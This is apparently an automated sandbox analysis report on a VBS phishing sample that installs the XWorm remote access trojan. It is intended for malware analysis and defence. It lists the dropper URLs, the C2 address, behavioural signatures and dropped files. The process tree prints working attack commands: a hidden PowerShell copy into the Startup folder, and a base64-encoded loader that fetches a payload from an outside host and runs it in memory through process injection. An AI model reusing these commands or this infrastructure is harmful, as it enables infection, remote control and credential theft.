Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/06/2026, 11:02

General

  • Target
    SA261481YS206 OZB SİPARİŞ.vbs
  • Size 1.8MB
  • Sample260617-m5awhset2k
  • SHA256 829666c9ca09e25643beeb9aa5fa973a478165dcc0473cbf5483a81efc74a203
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://files01.click/htmlweb/axis/optimized.png

  • exe.dropper

    http://files01.click/htmlweb/axis/optimized.png

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 203.202.232.132:2828

Mutex
  • ulQxhAv1bSCnb98W

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SA261481YS206 OZB SİPARİŞ.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\SA261481YS206 OZB SİPARİŞ.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SA261481YS206 OZB SİPARİŞ.vbs' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5512
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command " & ([scriptblock]::Create( [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String( 'JGRpYW5pdGU9J2h0dHA6Ly9maWxlQDAxLmNsaWNrL2h0bWx3ZWIvYXhpQC9vcHRpbWl6ZWQucG5nJy5SZXBsYWNlKCdAJywncycpOw0KJHNxdWJpdHM9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50Ow0KJHNxdWJpdHMuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOw0KJFN0YWdpcml0ZXM9JHNxdWJpdHMuRG93bmxvYWREYXRhKCRkaWFuaXRlKTsNCiRzZW5zaXRpc2VyPVtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJFN0YWdpcml0ZXMpOw0KJGNvbm9jYXJwdXM9J0lOLSc7DQokbWFkYXJvc2lzPSctaW4xJzsNCiRub21vcGh5bGFjdGljPSRzZW5zaXRpc2VyLkluZGV4T2YoJGNvbm9jYXJwdXMpOw0KJHR1cmJpbm90b215PSRzZW5zaXRpc2VyLkxhc3RJbmRleE9mKCRtYWRhcm9zaXMpOw0KaWYoJG5vbW9waHlsYWN0aWMgLWVxIC0xIC1vciAkdHVyYmlub3RvbXkgLWVxIC0xKXsNCnJldHVybn0NCjsNCiR0aGVvcmV0aWNhbD0kbm9tb3BoeWxhY3RpYyskY29ub2NhcnB1cy5MZW5ndGg7DQokb3V0ZXJtb3N0PSRzZW5zaXRpc2VyLlN1YnN0cmluZygkc2Vuc2l0aXNlci5JbmRleE9mKCRjb25vY2FycHVzKSskY29ub2NhcnB1cy5MZW5ndGgsICR0dXJiaW5vdG9teS0oJHNlbnNpdGlzZXIuSW5kZXhPZigkY29ub2NhcnB1cykrJGNvbm9jYXJwdXMuTGVuZ3RoKSk7DQokdGFubmVyZ3JhbT0kb3V0ZXJtb3N0LlJlcGxhY2UoJyMnLCdBJykuVG9DaGFyQXJyYXkoKTsNCltBcnJheV06OlJldmVyc2UoJHRhbm5lcmdyYW0pOw0KJGFsYm9jcmFjaWVzPSR0YW5uZXJncmFtIC1qb2luICcnOw0KW2J5dGVbXV0kaW5zaW5ldz1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFsYm9jcmFjaWVzKTsNCiRnZXJibz1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKCRpbnNpbmV3KTsNCiRwaHlsbGFyeT1AKCdodHRwOi8vZmlsZXMwMS5jbGljay9odG1sd2ViL2F4aXMvZGJrLnBuZycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnck9xOW1jR1pXRycsJ0Nhc3BvbCcsJycsJ0Nhc3BvbCcsJycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnck9xOW1jR1pXRycsJ3ZicycsJzEnLCcnLCdPc1V0NWJyd1RxJywnMCcsJycsJycsJycpOw0KdHJ5ew0KJEFzaGdhYmF0PSRnZXJiby5HZXRUeXBlKCdGaWJlci5Qcm9ncmFtJyk7DQokYWduYXRpYz0kQXNoZ2FiYXQuR2V0TWV0aG9kKCdNYWluJyk7DQokYWduYXRpYy5JbnZva2UoJG51bGwsW29iamVjdFtdXSRwaHlsbGFyeSl9DQpjYXRjaHsNCn0NCg==' ) ) )) "
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6060
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • outlook_office_path
      • outlook_win_path
      PID:2344
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_263eb36c69a44a57a95b0bf39a8f88ae.cs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5440
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA478.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC81DF125FB1644304BA5D7559AC2C4785.TMP"
          4⤵
            PID:3300
        • C:\Users\Admin\AppData\Local\Temp\CasPol.exe
          "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 2344
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:652
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_f55386bdbbc94745b25edff78fa2db95.cs"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA60F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCED7D40DE58E449C7A73F6C4AB9505E40.TMP"
            4⤵
              PID:3012

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 61f890c1240719ddf0d18a7104e402099f33a3489556dba9f6ff46341112c3ae
            • MD5 SHA1 SHA512 TLSH

            CasPol.exe

            • Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
            • Size 5KB
            • SHA256 b4dd9891d75ff88efa80bd8a0b022fbf65263da32321f46dbc53b4d062686fc6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RESA478.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESA478.tmp
            • Size 1KB
            • SHA256 b69eefa6b05500999830e65044c1b48fb9d58755414d37596e67717f56277b2d
            • MD5 SHA1 SHA512 TLSH

            RESA60F.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESA60F.tmp
            • Size 1KB
            • SHA256 51d2687dfea06e385b4fad0f20ce73d568182995ea7efc546d66651f598d77cf
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_ogktofex.s5l.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogktofex.s5l.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            CSC81DF125FB1644304BA5D7559AC2C4785.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC81DF125FB1644304BA5D7559AC2C4785.TMP
            • Size 1KB
            • SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
            • MD5 SHA1 SHA512 TLSH

            guardian_src_263eb36c69a44a57a95b0bf39a8f88ae.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_263eb36c69a44a57a95b0bf39a8f88ae.cs
            • Size 4KB
            • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/652-43-0x0000000000100000-0x0000000000108000-memory.dmp

            memory/2344-28-0x00000000060E0000-0x0000000006172000-memory.dmp

            memory/2344-22-0x0000000000400000-0x000000000040E000-memory.dmp

            memory/2344-27-0x0000000005710000-0x0000000005776000-memory.dmp

            memory/2344-53-0x00000000075A0000-0x0000000007762000-memory.dmp

            memory/2344-29-0x0000000006730000-0x0000000006CD6000-memory.dmp

            memory/2344-30-0x00000000062C0000-0x00000000062F4000-memory.dmp

            memory/2344-31-0x0000000006320000-0x0000000006326000-memory.dmp

            memory/2344-26-0x0000000004FF0000-0x000000000508C000-memory.dmp

            memory/2344-44-0x0000000005F10000-0x0000000005F8C000-memory.dmp

            memory/2344-45-0x0000000005F90000-0x0000000005F98000-memory.dmp

            memory/5512-9-0x000001F9F1230000-0x000001F9F1240000-memory.dmp

            memory/5512-3-0x000001F9F4250000-0x000001F9F4272000-memory.dmp

            memory/5512-0-0x000001F9F1230000-0x000001F9F1240000-memory.dmp

            memory/5512-1-0x000001F9F1230000-0x000001F9F1240000-memory.dmp

            memory/6060-20-0x000001D0750D0000-0x000001D0751F2000-memory.dmp

            memory/6060-21-0x000001D074C50000-0x000001D074C5A000-memory.dmp